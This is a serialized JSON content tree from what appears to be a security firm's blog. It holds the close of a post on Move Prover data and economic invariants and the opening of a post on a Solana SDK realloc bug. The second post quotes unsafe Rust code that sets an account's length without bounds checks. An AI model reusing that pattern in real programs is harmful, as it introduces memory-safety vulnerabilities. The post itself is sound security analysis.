",{"type":23,"tag":940,"props":24351,"children":24354},{"href":24352,"rel":24353},"https://laminar.markets/",[944],[24355],{"type":29,"value":24356},"Laminar Markets",{"type":29,"value":24358},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":23,"tag":923,"props":24360,"children":24362},{"id":24361},"data-invariants",[24363],{"type":29,"value":24364},"Data Invariants",{"type":23,"tag":32,"props":24366,"children":24367},{},[24368,24370,24376,24378,24384,24386,24392,24394,24400],{"type":29,"value":24369},"Formal verification provides the best environment to verify that certain ",{"type":23,"tag":71,"props":24371,"children":24373},{"className":24372},[],[24374],{"type":29,"value":24375},"variables",{"type":29,"value":24377}," or ",{"type":23,"tag":71,"props":24379,"children":24381},{"className":24380},[],[24382],{"type":29,"value":24383},"resources",{"type":29,"value":24385}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":23,"tag":71,"props":24387,"children":24389},{"className":24388},[],[24390],{"type":29,"value":24391},"index",{"type":29,"value":24393}," is never greater than 4 using a ",{"type":23,"tag":71,"props":24395,"children":24397},{"className":24396},[],[24398],{"type":29,"value":24399},"struct invariant",{"type":29,"value":557},{"type":23,"tag":64,"props":24402,"children":24404},{"code":24403,"language":986,"meta":7,"className":987,"style":7},"struct Type {\n    index: u64\n}\n\nspec Type {\n    invariant index \u003C 4;\n}\n",[24405],{"type":23,"tag":71,"props":24406,"children":24407},{"__ignoreMap":7},[24408,24424,24441,24448,24455,24470,24494],{"type":23,"tag":75,"props":24409,"children":24410},{"class":77,"line":78},[24411,24415,24420],{"type":23,"tag":75,"props":24412,"children":24413},{"style":82},[24414],{"type":29,"value":20652},{"type":23,"tag":75,"props":24416,"children":24417},{"style":104},[24418],{"type":29,"value":24419}," Type",{"type":23,"tag":75,"props":24421,"children":24422},{"style":94},[24423],{"type":29,"value":401},{"type":23,"tag":75,"props":24425,"children":24426},{"class":77,"line":100},[24427,24432,24436],{"type":23,"tag":75,"props":24428,"children":24429},{"style":110},[24430],{"type":29,"value":24431},"    index",{"type":23,"tag":75,"props":24433,"children":24434},{"style":209},[24435],{"type":29,"value":1018},{"type":23,"tag":75,"props":24437,"children":24438},{"style":104},[24439],{"type":29,"value":24440}," u64\n",{"type":23,"tag":75,"props":24442,"children":24443},{"class":77,"line":121},[24444],{"type":23,"tag":75,"props":24445,"children":24446},{"style":94},[24447],{"type":29,"value":369},{"type":23,"tag":75,"props":24449,"children":24450},{"class":77,"line":138},[24451],{"type":23,"tag":75,"props":24452,"children":24453},{"emptyLinePlaceholder":15},[24454],{"type":29,"value":276},{"type":23,"tag":75,"props":24456,"children":24457},{"class":77,"line":161},[24458,24462,24466],{"type":23,"tag":75,"props":24459,"children":24460},{"style":110},[24461],{"type":29,"value":19534},{"type":23,"tag":75,"props":24463,"children":24464},{"style":104},[24465],{"type":29,"value":24419},{"type":23,"tag":75,"props":24467,"children":24468},{"style":94},[24469],{"type":29,"value":401},{"type":23,"tag":75,"props":24471,"children":24472},{"class":77,"line":196},[24473,24477,24482,24486,24490],{"type":23,"tag":75,"props":24474,"children":24475},{"style":110},[24476],{"type":29,"value":19551},{"type":23,"tag":75,"props":24478,"children":24479},{"style":110},[24480],{"type":29,"value":24481}," index",{"type":23,"tag":75,"props":24483,"children":24484},{"style":209},[24485],{"type":29,"value":749},{"type":23,"tag":75,"props":24487,"children":24488},{"style":237},[24489],{"type":29,"value":22992},{"type":23,"tag":75,"props":24491,"children":24492},{"style":94},[24493],{"type":29,"value":245},{"type":23,"tag":75,"props":24495,"children":24496},{"class":77,"line":220},[24497],{"type":23,"tag":75,"props":24498,"children":24499},{"style":94},[24500],{"type":29,"value":369},{"type":23,"tag":32,"props":24502,"children":24503},{},[24504,24506,24513,24514,24520],{"type":29,"value":24505},"We were able to verify more complex properties in our recent audits for ",{"type":23,"tag":940,"props":24507,"children":24510},{"href":24508,"rel":24509},"https://layerzero.network/",[944],[24511],{"type":29,"value":24512},"LayerZero",{"type":29,"value":2721},{"type":23,"tag":940,"props":24515,"children":24518},{"href":24516,"rel":24517},"http://ariesmarkets.xyz/",[944],[24519],{"type":29,"value":18054},{"type":29,"value":24521},", but the details are left as an exercise to the reader.",{"type":23,"tag":923,"props":24523,"children":24525},{"id":24524},"economic-invariants",[24526],{"type":29,"value":24527},"Economic Invariants.",{"type":23,"tag":32,"props":24529,"children":24530},{},[24531],{"type":29,"value":24532},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":23,"tag":32,"props":24534,"children":24535},{},[24536],{"type":29,"value":24537},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":23,"tag":64,"props":24539,"children":24540},{"code":19226,"language":986,"meta":7,"className":987,"style":7},[24541],{"type":23,"tag":71,"props":24542,"children":24543},{"__ignoreMap":7},[24544,24551,24634,24673,24692,24699,24714,24737,24760,24783],{"type":23,"tag":75,"props":24545,"children":24546},{"class":77,"line":78},[24547],{"type":23,"tag":75,"props":24548,"children":24549},{"style":3621},[24550],{"type":29,"value":19238},{"type":23,"tag":75,"props":24552,"children":24553},{"class":77,"line":100},[24554,24558,24562,24566,24570,24574,24578,24582,24586,24590,24594,24598,24602,24606,24610,24614,24618,24622,24626,24630],{"type":23,"tag":75,"props":24555,"children":24556},{"style":110},[24557],{"type":29,"value":17835},{"type":23,"tag":75,"props":24559,"children":24560},{"style":88},[24561],{"type":29,"value":19250},{"type":23,"tag":75,"props":24563,"children":24564},{"style":94},[24565],{"type":29,"value":643},{"type":23,"tag":75,"props":24567,"children":24568},{"style":110},[24569],{"type":29,"value":19259},{"type":23,"tag":75,"props":24571,"children":24572},{"style":209},[24573],{"type":29,"value":1018},{"type":23,"tag":75,"props":24575,"children":24576},{"style":104},[24577],{"type":29,"value":17129},{"type":23,"tag":75,"props":24579,"children":24580},{"style":94},[24581],{"type":29,"value":611},{"type":23,"tag":75,"props":24583,"children":24584},{"style":110},[24585],{"type":29,"value":19276},{"type":23,"tag":75,"props":24587,"children":24588},{"style":209},[24589],{"type":29,"value":1018},{"type":23,"tag":75,"props":24591,"children":24592},{"style":104},[24593],{"type":29,"value":17129},{"type":23,"tag":75,"props":24595,"children":24596},{"style":94},[24597],{"type":29,"value":1347},{"type":23,"tag":75,"props":24599,"children":24600},{"style":209},[24601],{"type":29,"value":1018},{"type":23,"tag":75,"props":24603,"children":24604},{"style":94},[24605],{"type":29,"value":183},{"type":23,"tag":75,"props":24607,"children":24608},{"style":104},[24609],{"type":29,"value":19301},{"type":23,"tag":75,"props":24611,"children":24612},{"style":94},[24613],{"type":29,"value":611},{"type":23,"tag":75,"props":24615,"children":24616},{"style":104},[24617],{"type":29,"value":19301},{"type":23,"tag":75,"props":24619,"children":24620},{"style":94},[24621],{"type":29,"value":167},{"type":23,"tag":75,"props":24623,"children":24624},{"style":110},[24625],{"type":29,"value":17611},{"type":23,"tag":75,"props":24627,"children":24628},{"style":104},[24629],{"type":29,"value":19322},{"type":23,"tag":75,"props":24631,"children":24632},{"style":94},[24633],{"type":29,"value":401},{"type":23,"tag":75,"props":24635,"children":24636},{"class":77,"line":121},[24637,24641,24645,24649,24653,24657,24661,24665,24669],{"type":23,"tag":75,"props":24638,"children":24639},{"style":82},[24640],{"type":29,"value":19334},{"type":23,"tag":75,"props":24642,"children":24643},{"style":110},[24644],{"type":29,"value":19339},{"type":23,"tag":75,"props":24646,"children":24647},{"style":209},[24648],{"type":29,"value":1193},{"type":23,"tag":75,"props":24650,"children":24651},{"style":88},[24652],{"type":29,"value":19348},{"type":23,"tag":75,"props":24654,"children":24655},{"style":94},[24656],{"type":29,"value":643},{"type":23,"tag":75,"props":24658,"children":24659},{"style":110},[24660],{"type":29,"value":19259},{"type":23,"tag":75,"props":24662,"children":24663},{"style":94},[24664],{"type":29,"value":611},{"type":23,"tag":75,"props":24666,"children":24667},{"style":110},[24668],{"type":29,"value":19276},{"type":23,"tag":75,"props":24670,"children":24671},{"style":94},[24672],{"type":29,"value":15099},{"type":23,"tag":75,"props":24674,"children":24675},{"class":77,"line":138},[24676,24680,24684,24688],{"type":23,"tag":75,"props":24677,"children":24678},{"style":88},[24679],{"type":29,"value":19376},{"type":23,"tag":75,"props":24681,"children":24682},{"style":94},[24683],{"type":29,"value":643},{"type":23,"tag":75,"props":24685,"children":24686},{"style":110},[24687],{"type":29,"value":19385},{"type":23,"tag":75,"props":24689,"children":24690},{"style":94},[24691],{"type":29,"value":653},{"type":23,"tag":75,"props":24693,"children":24694},{"class":77,"line":161},[24695],{"type":23,"tag":75,"props":24696,"children":24697},{"style":94},[24698],{"type":29,"value":17141},{"type":23,"tag":75,"props":24700,"children":24701},{"class":77,"line":196},[24702,24706,24710],{"type":23,"tag":75,"props":24703,"children":24704},{"style":110},[24705],{"type":29,"value":19404},{"type":23,"tag":75,"props":24707,"children":24708},{"style":110},[24709],{"type":29,"value":19250},{"type":23,"tag":75,"props":24711,"children":24712},{"style":94},[24713],{"type":29,"value":401},{"type":23,"tag":75,"props":24715,"children":24716},{"class":77,"line":220},[24717,24721,24725,24729,24733],{"type":23,"tag":75,"props":24718,"children":24719},{"style":110},[24720],{"type":29,"value":19420},{"type":23,"tag":75,"props":24722,"children":24723},{"style":110},[24724],{"type":29,"value":19425},{"type":23,"tag":75,"props":24726,"children":24727},{"style":209},[24728],{"type":29,"value":212},{"type":23,"tag":75,"props":24730,"children":24731},{"style":82},[24732],{"type":29,"value":19434},{"type":23,"tag":75,"props":24734,"children":24735},{"style":94},[24736],{"type":29,"value":245},{"type":23,"tag":75,"props":24738,"children":24739},{"class":77,"line":248},[24740,24744,24748,24752,24756],{"type":23,"tag":75,"props":24741,"children":24742},{"style":110},[24743],{"type":29,"value":19446},{"type":23,"tag":75,"props":24745,"children":24746},{"style":110},[24747],{"type":29,"value":19451},{"type":23,"tag":75,"props":24749,"children":24750},{"style":209},[24751],{"type":29,"value":19456},{"type":23,"tag":75,"props":24753,"children":24754},{"style":110},[24755],{"type":29,"value":19461},{"type":23,"tag":75,"props":24757,"children":24758},{"style":94},[24759],{"type":29,"value":245},{"type":23,"tag":75,"props":24761,"children":24762},{"class":77,"line":270},[24763,24767,24771,24775,24779],{"type":23,"tag":75,"props":24764,"children":24765},{"style":110},[24766],{"type":29,"value":19446},{"type":23,"tag":75,"props":24768,"children":24769},{"style":110},[24770],{"type":29,"value":19477},{"type":23,"tag":75,"props":24772,"children":24773},{"style":209},[24774],{"type":29,"value":19456},{"type":23,"tag":75,"props":24776,"children":24777},{"style":110},[24778],{"type":29,"value":19486},{"type":23,"tag":75,"props":24780,"children":24781},{"style":94},[24782],{"type":29,"value":245},{"type":23,"tag":75,"props":24784,"children":24785},{"class":77,"line":279},[24786],{"type":23,"tag":75,"props":24787,"children":24788},{"style":94},[24789],{"type":29,"value":17141},{"type":23,"tag":32,"props":24791,"children":24792},{},[24793],{"type":29,"value":24794},"Some other ideas include",{"type":23,"tag":2797,"props":24796,"children":24797},{},[24798,24803,24808],{"type":23,"tag":2801,"props":24799,"children":24800},{},[24801],{"type":29,"value":24802},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":23,"tag":2801,"props":24804,"children":24805},{},[24806],{"type":29,"value":24807},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":23,"tag":2801,"props":24809,"children":24810},{},[24811],{"type":29,"value":24812},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":23,"tag":24,"props":24814,"children":24815},{"id":16581},[24816],{"type":29,"value":16584},{"type":23,"tag":32,"props":24818,"children":24819},{},[24820],{"type":29,"value":24821},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":23,"tag":32,"props":24823,"children":24824},{},[24825],{"type":29,"value":24826},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":23,"tag":32,"props":24828,"children":24829},{},[24830,24832,24837],{"type":29,"value":24831},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":23,"tag":940,"props":24833,"children":24835},{"href":20492,"rel":24834},[944],[24836],{"type":29,"value":20496},{"type":29,"value":557},{"type":23,"tag":14130,"props":24839,"children":24840},{},[24841],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":24843},[24844,24845,24848,24855],{"id":20556,"depth":100,"text":20559},{"id":20610,"depth":100,"text":20613,"children":24846},[24847],{"id":20859,"depth":121,"text":20855},{"id":23753,"depth":100,"text":23756,"children":24849},[24850,24851,24852,24853,24854],{"id":23769,"depth":121,"text":23772},{"id":24020,"depth":121,"text":24023},{"id":24324,"depth":121,"text":24327},{"id":24361,"depth":121,"text":24364},{"id":24524,"depth":121,"text":24527},{"id":16581,"depth":100,"text":16584},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":24860,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":24861,"description":24862,"author":24863,"image":24864,"date":24867,"isFeatured":15,"onBlogPage":15,"tags":24868,"body":24869,"_type":14157,"_id":29965,"_source":14159,"_file":29966,"_stem":29967,"_extension":14162},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":24865,"height":24866,"width":14},"/posts/rust-realloc-and-references/title.jpg",512,"2022-12-09",[14175,20520],{"type":20,"children":24870,"toc":29949},[24871,24899,24919,25582,25602,25613,25625,25758,25768,25774,25800,26137,26182,26506,26568,26581,26653,26721,26742,26755,26769,27113,27124,27129,27260,27311,27337,27349,27522,27658,27699,27736,27802,27807,27844,27898,27909,28053,28065,28071,28077,28110,28124,28245,28264,28292,28298,28388,28478,28484,28489,28536,28805,28880,28891,28917,29249,29261,29334,29606,29643,29945],{"type":23,"tag":32,"props":24872,"children":24873},{},[24874,24876,24882,24884,24889,24891,24897],{"type":29,"value":24875},"It all started with an audit of a program that used ",{"type":23,"tag":71,"props":24877,"children":24879},{"className":24878},[],[24880],{"type":29,"value":24881},"realloc",{"type":29,"value":24883}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":23,"tag":71,"props":24885,"children":24887},{"className":24886},[],[24888],{"type":29,"value":24881},{"type":29,"value":24890}," call (from ",{"type":23,"tag":71,"props":24892,"children":24894},{"className":24893},[],[24895],{"type":29,"value":24896},"solana_program",{"type":29,"value":24898},") would error out appropriately.",{"type":23,"tag":32,"props":24900,"children":24901},{},[24902,24904,24910,24911,24918],{"type":29,"value":24903},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":23,"tag":71,"props":24905,"children":24907},{"className":24906},[],[24908],{"type":29,"value":24909},"AccountInfo::realloc",{"type":29,"value":16773},{"type":23,"tag":940,"props":24912,"children":24915},{"href":24913,"rel":24914},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[944],[24916],{"type":29,"value":24917},"implemented",{"type":29,"value":1018},{"type":23,"tag":64,"props":24920,"children":24922},{"className":987,"code":24921,"language":986,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n    let orig_len = self.data_len();\n\n    // realloc\n    unsafe {\n        // First set new length in the serialized data\n        let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n        *ptr = new_len as u64;\n\n        // Then set the new length in the local slice\n        let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n        *ptr = new_len as u64;\n    }\n\n    // zero-init if requested\n    if zero_init && new_len > orig_len {\n        sol_memset(\n            &mut self.try_borrow_mut_data()?[orig_len..],\n            0,\n            new_len.saturating_sub(orig_len),\n        );\n    }\n\n    Ok(())\n}\n",[24923],{"type":23,"tag":71,"props":24924,"children":24925},{"__ignoreMap":7},[24926,25019,25053,25060,25068,25080,25088,25179,25212,25219,25227,25356,25387,25394,25401,25409,25441,25453,25501,25513,25542,25549,25556,25563,25575],{"type":23,"tag":75,"props":24927,"children":24928},{"class":77,"line":78},[24929,24934,24939,24944,24948,24952,24957,24961,24966,24970,24975,24979,24984,24988,24992,24996,25000,25005,25010,25015],{"type":23,"tag":75,"props":24930,"children":24931},{"style":82},[24932],{"type":29,"value":24933},"pub",{"type":23,"tag":75,"props":24935,"children":24936},{"style":82},[24937],{"type":29,"value":24938}," fn",{"type":23,"tag":75,"props":24940,"children":24941},{"style":88},[24942],{"type":29,"value":24943}," realloc",{"type":23,"tag":75,"props":24945,"children":24946},{"style":94},[24947],{"type":29,"value":643},{"type":23,"tag":75,"props":24949,"children":24950},{"style":209},[24951],{"type":29,"value":1277},{"type":23,"tag":75,"props":24953,"children":24954},{"style":82},[24955],{"type":29,"value":24956},"self",{"type":23,"tag":75,"props":24958,"children":24959},{"style":94},[24960],{"type":29,"value":611},{"type":23,"tag":75,"props":24962,"children":24963},{"style":110},[24964],{"type":29,"value":24965},"new_len",{"type":23,"tag":75,"props":24967,"children":24968},{"style":209},[24969],{"type":29,"value":1018},{"type":23,"tag":75,"props":24971,"children":24972},{"style":104},[24973],{"type":29,"value":24974}," usize",{"type":23,"tag":75,"props":24976,"children":24977},{"style":94},[24978],{"type":29,"value":611},{"type":23,"tag":75,"props":24980,"children":24981},{"style":110},[24982],{"type":29,"value":24983},"zero_init",{"type":23,"tag":75,"props":24985,"children":24986},{"style":209},[24987],{"type":29,"value":1018},{"type":23,"tag":75,"props":24989,"children":24990},{"style":104},[24991],{"type":29,"value":3001},{"type":23,"tag":75,"props":24993,"children":24994},{"style":94},[24995],{"type":29,"value":167},{"type":23,"tag":75,"props":24997,"children":24998},{"style":209},[24999],{"type":29,"value":1156},{"type":23,"tag":75,"props":25001,"children":25002},{"style":104},[25003],{"type":29,"value":25004}," Result",{"type":23,"tag":75,"props":25006,"children":25007},{"style":94},[25008],{"type":29,"value":25009},"\u003C(), ",{"type":23,"tag":75,"props":25011,"children":25012},{"style":104},[25013],{"type":29,"value":25014},"ProgramError",{"type":23,"tag":75,"props":25016,"children":25017},{"style":94},[25018],{"type":29,"value":1175},{"type":23,"tag":75,"props":25020,"children":25021},{"class":77,"line":100},[25022,25026,25031,25035,25040,25044,25049],{"type":23,"tag":75,"props":25023,"children":25024},{"style":82},[25025],{"type":29,"value":1183},{"type":23,"tag":75,"props":25027,"children":25028},{"style":110},[25029],{"type":29,"value":25030}," orig_len",{"type":23,"tag":75,"props":25032,"children":25033},{"style":209},[25034],{"type":29,"value":1193},{"type":23,"tag":75,"props":25036,"children":25037},{"style":82},[25038],{"type":29,"value":25039}," self",{"type":23,"tag":75,"props":25041,"children":25042},{"style":209},[25043],{"type":29,"value":557},{"type":23,"tag":75,"props":25045,"children":25046},{"style":88},[25047],{"type":29,"value":25048},"data_len",{"type":23,"tag":75,"props":25050,"children":25051},{"style":94},[25052],{"type":29,"value":14944},{"type":23,"tag":75,"props":25054,"children":25055},{"class":77,"line":121},[25056],{"type":23,"tag":75,"props":25057,"children":25058},{"emptyLinePlaceholder":15},[25059],{"type":29,"value":276},{"type":23,"tag":75,"props":25061,"children":25062},{"class":77,"line":138},[25063],{"type":23,"tag":75,"props":25064,"children":25065},{"style":3621},[25066],{"type":29,"value":25067},"    // realloc\n",{"type":23,"tag":75,"props":25069,"children":25070},{"class":77,"line":161},[25071,25076],{"type":23,"tag":75,"props":25072,"children":25073},{"style":82},[25074],{"type":29,"value":25075},"    unsafe",{"type":23,"tag":75,"props":25077,"children":25078},{"style":94},[25079],{"type":29,"value":401},{"type":23,"tag":75,"props":25081,"children":25082},{"class":77,"line":196},[25083],{"type":23,"tag":75,"props":25084,"children":25085},{"style":3621},[25086],{"type":29,"value":25087},"        // First set new length in the serialized data\n",{"type":23,"tag":75,"props":25089,"children":25090},{"class":77,"line":220},[25091,25095,25100,25104,25108,25112,25117,25121,25125,25130,25134,25138,25143,25147,25151,25155,25159,25163,25167,25171,25175],{"type":23,"tag":75,"props":25092,"children":25093},{"style":82},[25094],{"type":29,"value":14352},{"type":23,"tag":75,"props":25096,"children":25097},{"style":110},[25098],{"type":29,"value":25099}," ptr",{"type":23,"tag":75,"props":25101,"children":25102},{"style":209},[25103],{"type":29,"value":1193},{"type":23,"tag":75,"props":25105,"children":25106},{"style":82},[25107],{"type":29,"value":25039},{"type":23,"tag":75,"props":25109,"children":25110},{"style":209},[25111],{"type":29,"value":557},{"type":23,"tag":75,"props":25113,"children":25114},{"style":88},[25115],{"type":29,"value":25116},"try_borrow_mut_data",{"type":23,"tag":75,"props":25118,"children":25119},{"style":94},[25120],{"type":29,"value":1417},{"type":23,"tag":75,"props":25122,"children":25123},{"style":209},[25124],{"type":29,"value":14418},{"type":23,"tag":75,"props":25126,"children":25127},{"style":88},[25128],{"type":29,"value":25129},"as_mut_ptr",{"type":23,"tag":75,"props":25131,"children":25132},{"style":94},[25133],{"type":29,"value":1417},{"type":23,"tag":75,"props":25135,"children":25136},{"style":209},[25137],{"type":29,"value":557},{"type":23,"tag":75,"props":25139,"children":25140},{"style":88},[25141],{"type":29,"value":25142},"offset",{"type":23,"tag":75,"props":25144,"children":25145},{"style":94},[25146],{"type":29,"value":643},{"type":23,"tag":75,"props":25148,"children":25149},{"style":209},[25150],{"type":29,"value":15602},{"type":23,"tag":75,"props":25152,"children":25153},{"style":237},[25154],{"type":29,"value":15349},{"type":23,"tag":75,"props":25156,"children":25157},{"style":94},[25158],{"type":29,"value":167},{"type":23,"tag":75,"props":25160,"children":25161},{"style":82},[25162],{"type":29,"value":20097},{"type":23,"tag":75,"props":25164,"children":25165},{"style":209},[25166],{"type":29,"value":579},{"type":23,"tag":75,"props":25168,"children":25169},{"style":82},[25170],{"type":29,"value":14998},{"type":23,"tag":75,"props":25172,"children":25173},{"style":104},[25174],{"type":29,"value":17129},{"type":23,"tag":75,"props":25176,"children":25177},{"style":94},[25178],{"type":29,"value":245},{"type":23,"tag":75,"props":25180,"children":25181},{"class":77,"line":248},[25182,25186,25191,25195,25200,25204,25208],{"type":23,"tag":75,"props":25183,"children":25184},{"style":209},[25185],{"type":29,"value":19010},{"type":23,"tag":75,"props":25187,"children":25188},{"style":110},[25189],{"type":29,"value":25190},"ptr",{"type":23,"tag":75,"props":25192,"children":25193},{"style":209},[25194],{"type":29,"value":1193},{"type":23,"tag":75,"props":25196,"children":25197},{"style":110},[25198],{"type":29,"value":25199}," new_len",{"type":23,"tag":75,"props":25201,"children":25202},{"style":82},[25203],{"type":29,"value":20083},{"type":23,"tag":75,"props":25205,"children":25206},{"style":104},[25207],{"type":29,"value":17129},{"type":23,"tag":75,"props":25209,"children":25210},{"style":94},[25211],{"type":29,"value":245},{"type":23,"tag":75,"props":25213,"children":25214},{"class":77,"line":270},[25215],{"type":23,"tag":75,"props":25216,"children":25217},{"emptyLinePlaceholder":15},[25218],{"type":29,"value":276},{"type":23,"tag":75,"props":25220,"children":25221},{"class":77,"line":279},[25222],{"type":23,"tag":75,"props":25223,"children":25224},{"style":3621},[25225],{"type":29,"value":25226},"        // Then set the new length in the local slice\n",{"type":23,"tag":75,"props":25228,"children":25229},{"class":77,"line":303},[25230,25234,25238,25242,25246,25250,25254,25259,25263,25267,25271,25275,25280,25284,25288,25292,25296,25300,25304,25308,25312,25316,25320,25324,25328,25332,25336,25340,25344,25348,25352],{"type":23,"tag":75,"props":25231,"children":25232},{"style":82},[25233],{"type":29,"value":14352},{"type":23,"tag":75,"props":25235,"children":25236},{"style":110},[25237],{"type":29,"value":25099},{"type":23,"tag":75,"props":25239,"children":25240},{"style":209},[25241],{"type":29,"value":1193},{"type":23,"tag":75,"props":25243,"children":25244},{"style":209},[25245],{"type":29,"value":844},{"type":23,"tag":75,"props":25247,"children":25248},{"style":82},[25249],{"type":29,"value":14998},{"type":23,"tag":75,"props":25251,"children":25252},{"style":209},[25253],{"type":29,"value":579},{"type":23,"tag":75,"props":25255,"children":25256},{"style":94},[25257],{"type":29,"value":25258},"(((",{"type":23,"tag":75,"props":25260,"children":25261},{"style":82},[25262],{"type":29,"value":24956},{"type":23,"tag":75,"props":25264,"children":25265},{"style":209},[25266],{"type":29,"value":557},{"type":23,"tag":75,"props":25268,"children":25269},{"style":94},[25270],{"type":29,"value":14976},{"type":23,"tag":75,"props":25272,"children":25273},{"style":209},[25274],{"type":29,"value":557},{"type":23,"tag":75,"props":25276,"children":25277},{"style":88},[25278],{"type":29,"value":25279},"as_ptr",{"type":23,"tag":75,"props":25281,"children":25282},{"style":94},[25283],{"type":29,"value":2464},{"type":23,"tag":75,"props":25285,"children":25286},{"style":82},[25287],{"type":29,"value":20097},{"type":23,"tag":75,"props":25289,"children":25290},{"style":209},[25291],{"type":29,"value":579},{"type":23,"tag":75,"props":25293,"children":25294},{"style":82},[25295],{"type":29,"value":2869},{"type":23,"tag":75,"props":25297,"children":25298},{"style":104},[25299],{"type":29,"value":17129},{"type":23,"tag":75,"props":25301,"children":25302},{"style":94},[25303],{"type":29,"value":1347},{"type":23,"tag":75,"props":25305,"children":25306},{"style":209},[25307],{"type":29,"value":557},{"type":23,"tag":75,"props":25309,"children":25310},{"style":88},[25311],{"type":29,"value":25142},{"type":23,"tag":75,"props":25313,"children":25314},{"style":94},[25315],{"type":29,"value":643},{"type":23,"tag":75,"props":25317,"children":25318},{"style":237},[25319],{"type":29,"value":7867},{"type":23,"tag":75,"props":25321,"children":25322},{"style":94},[25323],{"type":29,"value":167},{"type":23,"tag":75,"props":25325,"children":25326},{"style":82},[25327],{"type":29,"value":20097},{"type":23,"tag":75,"props":25329,"children":25330},{"style":104},[25331],{"type":29,"value":17129},{"type":23,"tag":75,"props":25333,"children":25334},{"style":94},[25335],{"type":29,"value":167},{"type":23,"tag":75,"props":25337,"children":25338},{"style":82},[25339],{"type":29,"value":20097},{"type":23,"tag":75,"props":25341,"children":25342},{"style":209},[25343],{"type":29,"value":579},{"type":23,"tag":75,"props":25345,"children":25346},{"style":82},[25347],{"type":29,"value":14998},{"type":23,"tag":75,"props":25349,"children":25350},{"style":104},[25351],{"type":29,"value":17129},{"type":23,"tag":75,"props":25353,"children":25354},{"style":94},[25355],{"type":29,"value":15099},{"type":23,"tag":75,"props":25357,"children":25358},{"class":77,"line":322},[25359,25363,25367,25371,25375,25379,25383],{"type":23,"tag":75,"props":25360,"children":25361},{"style":209},[25362],{"type":29,"value":19010},{"type":23,"tag":75,"props":25364,"children":25365},{"style":110},[25366],{"type":29,"value":25190},{"type":23,"tag":75,"props":25368,"children":25369},{"style":209},[25370],{"type":29,"value":1193},{"type":23,"tag":75,"props":25372,"children":25373},{"style":110},[25374],{"type":29,"value":25199},{"type":23,"tag":75,"props":25376,"children":25377},{"style":82},[25378],{"type":29,"value":20083},{"type":23,"tag":75,"props":25380,"children":25381},{"style":104},[25382],{"type":29,"value":17129},{"type":23,"tag":75,"props":25384,"children":25385},{"style":94},[25386],{"type":29,"value":245},{"type":23,"tag":75,"props":25388,"children":25389},{"class":77,"line":340},[25390],{"type":23,"tag":75,"props":25391,"children":25392},{"style":94},[25393],{"type":29,"value":346},{"type":23,"tag":75,"props":25395,"children":25396},{"class":77,"line":349},[25397],{"type":23,"tag":75,"props":25398,"children":25399},{"emptyLinePlaceholder":15},[25400],{"type":29,"value":276},{"type":23,"tag":75,"props":25402,"children":25403},{"class":77,"line":363},[25404],{"type":23,"tag":75,"props":25405,"children":25406},{"style":3621},[25407],{"type":29,"value":25408},"    // zero-init if requested\n",{"type":23,"tag":75,"props":25410,"children":25411},{"class":77,"line":656},[25412,25416,25421,25425,25429,25433,25437],{"type":23,"tag":75,"props":25413,"children":25414},{"style":175},[25415],{"type":29,"value":1363},{"type":23,"tag":75,"props":25417,"children":25418},{"style":110},[25419],{"type":29,"value":25420}," zero_init",{"type":23,"tag":75,"props":25422,"children":25423},{"style":209},[25424],{"type":29,"value":7889},{"type":23,"tag":75,"props":25426,"children":25427},{"style":110},[25428],{"type":29,"value":25199},{"type":23,"tag":75,"props":25430,"children":25431},{"style":209},[25432],{"type":29,"value":8636},{"type":23,"tag":75,"props":25434,"children":25435},{"style":110},[25436],{"type":29,"value":25030},{"type":23,"tag":75,"props":25438,"children":25439},{"style":94},[25440],{"type":29,"value":401},{"type":23,"tag":75,"props":25442,"children":25443},{"class":77,"line":705},[25444,25449],{"type":23,"tag":75,"props":25445,"children":25446},{"style":88},[25447],{"type":29,"value":25448},"        sol_memset",{"type":23,"tag":75,"props":25450,"children":25451},{"style":94},[25452],{"type":29,"value":97},{"type":23,"tag":75,"props":25454,"children":25455},{"class":77,"line":787},[25456,25460,25464,25468,25472,25476,25480,25484,25488,25493,25497],{"type":23,"tag":75,"props":25457,"children":25458},{"style":209},[25459],{"type":29,"value":18944},{"type":23,"tag":75,"props":25461,"children":25462},{"style":82},[25463],{"type":29,"value":14998},{"type":23,"tag":75,"props":25465,"children":25466},{"style":82},[25467],{"type":29,"value":25039},{"type":23,"tag":75,"props":25469,"children":25470},{"style":209},[25471],{"type":29,"value":557},{"type":23,"tag":75,"props":25473,"children":25474},{"style":88},[25475],{"type":29,"value":25116},{"type":23,"tag":75,"props":25477,"children":25478},{"style":94},[25479],{"type":29,"value":1417},{"type":23,"tag":75,"props":25481,"children":25482},{"style":209},[25483],{"type":29,"value":1225},{"type":23,"tag":75,"props":25485,"children":25486},{"style":94},[25487],{"type":29,"value":814},{"type":23,"tag":75,"props":25489,"children":25490},{"style":110},[25491],{"type":29,"value":25492},"orig_len",{"type":23,"tag":75,"props":25494,"children":25495},{"style":209},[25496],{"type":29,"value":14339},{"type":23,"tag":75,"props":25498,